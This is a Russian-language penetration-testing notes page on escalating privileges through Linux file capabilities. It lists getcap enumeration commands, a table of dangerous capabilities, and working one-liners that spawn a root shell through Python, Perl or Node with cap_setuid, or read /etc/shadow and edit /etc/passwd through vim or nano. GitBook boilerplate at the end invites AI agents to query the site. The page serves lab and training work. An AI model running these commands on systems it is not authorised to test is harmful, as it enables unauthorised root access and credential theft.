> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/privesc/capabilities.md). # Capabilities Возможности Linux разделяют привилегии root на гранулярные права, которые можно назначать бинарным файлам. Опасные возможности, такие как `cap_setuid+ep`, `cap_dac_read_search+ep`, а также возможности записи в файлы могут обходить обычные ограничения пользователя. ## Методика * Перечислите возможности файлов и определите бинарные файлы с опасными битами привилегий. * Проверьте GTFOBins и полезные нагрузки для конкретных языков на предмет злоупотребления shell, чтением, записью или setuid. * Сначала используйте минимальные команды проверки, прежде чем пытаться получить root shell. ## Быстрые проверки ```bash getcap -r / 2>/dev/null getcap -r /usr/bin/ 2>/dev/null getcap -r /usr/sbin/ 2>/dev/null getcap -r /bin/ 2>/dev/null getcap -r /sbin/ 2>/dev/null ``` ## Примеры опасных возможностей | Возможность | Почему это важно | | ------------------------ | -------------------------------------------------------------------------- | | `cap_setuid+ep` | Может позволить бинарному файлу переключиться на UID 0. | | `cap_dac_read_search+ep` | Может обходить разрешения на чтение файлов и поиск в каталогах. | | `cap_dac_override+ep` | Может обходить обычные проверки прав доступа к файлам. | | `cap_sys_admin+ep` | Очень широкая возможность, часто почти эквивалентна root. | | `cap_setgid+ep` | Может позволить бинарному файлу переключиться на привилегированные группы. | Если у Python есть `cap_setuid`, минимальная проверка выглядит так: ```bash /usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' ``` ## Примеры сред выполнения языков Python: ```bash getcap -r /usr/bin/python* 2>/dev/null /usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")' ``` Perl: ```bash getcap -r /usr/bin/perl* 2>/dev/null /usr/bin/perl -e 'use POSIX (setuid); setuid(0); exec "/bin/bash";' ``` Node.js: ```bash getcap -r /usr/bin/node* 2>/dev/null /usr/bin/node -e 'process.setuid(0); require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]});' ``` Пример CAP\_SETGID: ```bash getcap -r / 2>/dev/null | grep setgid /usr/bin/perl -e 'use POSIX (setgid); setgid(0); exec "/bin/bash";' ``` Примеры возможностей чтения/записи: ```bash getcap -r / 2>/dev/null | grep dac_read_search /usr/bin/vim /etc/shadow getcap -r / 2>/dev/null | grep dac_override /usr/bin/nano /etc/passwd ``` Другие интерпретируемые среды выполнения, которые стоит проверить с помощью GTFOBins при наличии возможностей: ``` ruby php lua ``` Просмотр процесса и доступных возможностей: ```bash capsh --print capsh --print | grep cap_ ``` Назначение возможностей требует root, но это полезно для воспроизведения в лаборатории: ```bash sudo setcap cap_setuid+ep /path/to/binary ```

Возможности Vim

Примечания по возможностям (Vim) для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и проверкой, ориентированной на отчётность./pages/cc00654697606734089b8d3251d4bb5209967b3a

Возможности Python

Злоупотребление возможностями Python для повышения привилегий в Linux через cap_setuid и полезные нагрузки GTFOBins./pages/fa93444f280298f2fe7a1185b0611f6329698ca2

Возможности tar

Примечания по возможностям (бинарник tarS) для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и проверкой, ориентированной на отчётность./pages/895151fc6f15344825214616e8b10b761e85db10

Возможности Perl

Примечания по возможностям (Perl) для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и проверкой, ориентированной на отчётность./pages/7faac07adef12bfd829a2fcd120eedc946ab2e6e

Возможности tac

Примечания по возможностям (tac) для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и проверкой, ориентированной на отчётность./pages/eb155bdd33312ee1fe9027df83933b1aa47c60d0
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ru/privesc/capabilities.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.